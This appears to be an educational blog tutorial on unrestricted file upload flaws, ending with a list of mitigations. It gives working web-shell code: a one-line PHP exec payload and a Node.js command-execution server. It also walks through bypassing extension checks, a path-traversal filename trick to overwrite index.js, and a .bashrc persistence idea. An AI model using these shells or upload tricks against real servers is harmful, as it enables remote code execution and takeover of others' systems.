Unrestricted File Upload


Here’s a simple attack that may not seem as common these days, but even with sufficiently secure frameworks unknowing developers can bypass security features and produce a vulnerable application. Even large IT companies stumble sometimes. Do not let it come to you as a surprise, as there are loads of ways to attack and bypass security features.

Note that uploading malicious files is usually not a problem, unless there’s another security vulnerability that enables to exploit it. It makes sense to fix this security hole anyway, because you don’t know when someone is going to find a new fault with your system.

What is it?

The idea is quite straightforward. A hacker uses your file upload form to hack into your system. There are many ways for this vulnerability to lead to a system compromise. Though usually mitigated by modern front-end frameworks, in some cases it may happen that putting javascript into the filename will trigger XSS in a user\s browser, allowing the theft of session IDs or get sensitive server information by uploading a PHP file and running it by exploiting the Path Traversal vulnerability.

basic file upload form

Exploiting a vulnerable field

While there is a large list of things you should test and tools to help you do it, let’s keep it simple for the purpose of explaining the basic concept. Since we already covered XSS let’s focus on executing files on the server.

Exploiting in PHP

This attack is only applicable to PHP servers that are also vulnerable to Path Traversal. While simple to understand, it’s a good example of how dangerous an attack can be.

1. Create a malicious file to upload

Name the file something like “go.php”. The contents can be <?php exec($_GET['cmd']); ?>. What does it do? exec is a shell command execution function, so any linux command you put as the function parameter will be executed as if it was the operating system itself. $_GET['cmd'] fetches the cmd parameter value from the url which is then passed on to the exec function.

2. Upload the file

Just upload this file through a normal file upload form on a webpage. You will probably get an error saying “php extension not allowed” so just rename your file to “go.jpg”, because images are almost always accepted and php doesn’t really care what the file extension is.

3. Execute the file

Since in this example we assume the website is vulnerable to Path Traversal, we’re going to use that to execute the file.

http://example.com?page=profile&avatar=uploads/users/go2.jpg&cmd=pwd

Notice the cmd= part. We have just implemented a PHP Shell. We can now run PHP commands through the file we uploaded. This opens the server up to a whole range of other attacks. Only to the range that the server-user allows of course, so never set up your web server with root permissions!

Exploiting in NodeJS

This attack is applicable to node.js servers and requires a restart of the node.js process. If nodemon is installed, then the restart will happen automatically.

1. Create a malicious file to upload

Name the file “index.js” (assuming the file which starts the server is named index.js). The contents can be

const http = require('http');
const url = require('url');
const { exec } = require('child_process');

const host = '0.0.0.0';
const port = 3000;

const server = http.createServer((req, res) => {
  const query = url.parse(req.url, true).query;
  res.statusCode = 200;
  res.setHeader('Content-Type', 'application/json');
  if (query.cmd) {
    exec(query.cmd, (err, stdout, stderr) => {
      if (err) {
        res.end(JSON.stringify(err));
        return;
      }
      res.end(JSON.stringify({
        stdout,
        stderr
      }))
    });
  } else {
    res.end(JSON.stringify(query));
  }
  
});

server.listen(port, host, () => {
  console.log(`Server running.`);
});

What does it do? It starts a new node.js server. When you make a request to it, then it gets the “cmd” variable from the GET request you made and executes it with exec. exec is a shell command execution function, so any linux command you put as the function parameter will be executed as if it was the operating system itself. An example of a request to it would be www.vulnerable-api.com:3000/?cmd=whoami. This will execute the whoami command, which will tell us which linux user the node.js process is running as.

2. Overwrite the vulnerable application’s entry point

Before we upload the file, we will need an intercepting proxy, like Burp Suite or OWASP Zap. The reason is that we need to change the filename to overwrite the index.js at the root of the project.

Start Burp Suite. If you’re making requests over HTTPS, then it may be necessary to install burp’s root certificate, which can be downloaded by navigating to the proxy (by default localhost:8080) with your web browser. It is also necessary to configure your browser to use Burp Suite as a proxy. You can do this by opening Preferences in your browser, searching for ‘proxy’ and configuring your browser to use a proxy with the ip address localhost and port 8080.

Now let’s upload the file, making sure to intercept the request with burp suite. If it complains that javascript files aren’t allowed, then there are some ways to try to bypass the validation check. Once we’ve intercepted it, we should change the filename from filename=index.js to - in my case - filename=../../../index.js. Adding the ../ will result in the file being added to one directory lower than the directory it was originally meant to be placed in. Therefore, you should add as many ../ as you need to get to the root directory. Since you may not know how many you’ll need, you can just make multiple requests, each time adding more and more ../ until you get to the root of the application. This is assuming the upload path of the file is somewhere above the root of the application, and not in some completely different location from the application’s source code.

burpsuite

  • Note: overwriting index.js will replace the original website along with the file upload form, so you only get to overwrite it once. *
  • Note: we could also overwrite .bashrc and add a script into it, which will be executed when the system restarts or a someone logs into the system as the user running the application.*

3. Execute the file

In this example, we assume nodemon is running on the server. This means our uploaded file is automatically detected and the server is restarted. Although this is uncommon in real-world production environments, you can get around this by waiting until the server gets restarted, trying to force the server to restart, or trying the other techniques listed below.

We now get to interact with our shell

http://vulnerable-api.com/?cmd=whoami

Notice the cmd= part. We have just implemented a shell. We can now run commands through the file we uploaded. This opens the server up to a whole range of other attacks. Only to the range that the server-user allows of course, so never set up your web server with root permissions!

Fixing

There are many ways to fix this particular vulnerability:

  1. Remove the Path Traversal functionality.
  2. Stop inclusion in user-upload directories.
  3. Make sure the file contents match the filetype (assuming you’re already checking filetypes).
  4. Never let the user know in which directory the file has been or will be uploaded to.
  5. Never use the original filename for the file that has been uploaded, so the user won’t know what the filename is after it has been uploaded. This means you need to generate a random hash for each file and save the original name in the database.
  6. Do not upload files directly to the same server the api resides in. Instead use a storage service like Amazon S3.

So What Exactly Did I Just Read?

Unrestricted File Upload is a nasty exploit that can be used in conjunction with other vulnerabilities. It can be used for a lot of different nasty things like running malicious code and commands on a web server. A lot of ways to patch it include patching other vulnerabilities at the same time.

Roland Kaur, Krister Viirsaar, Heino Sass Hallik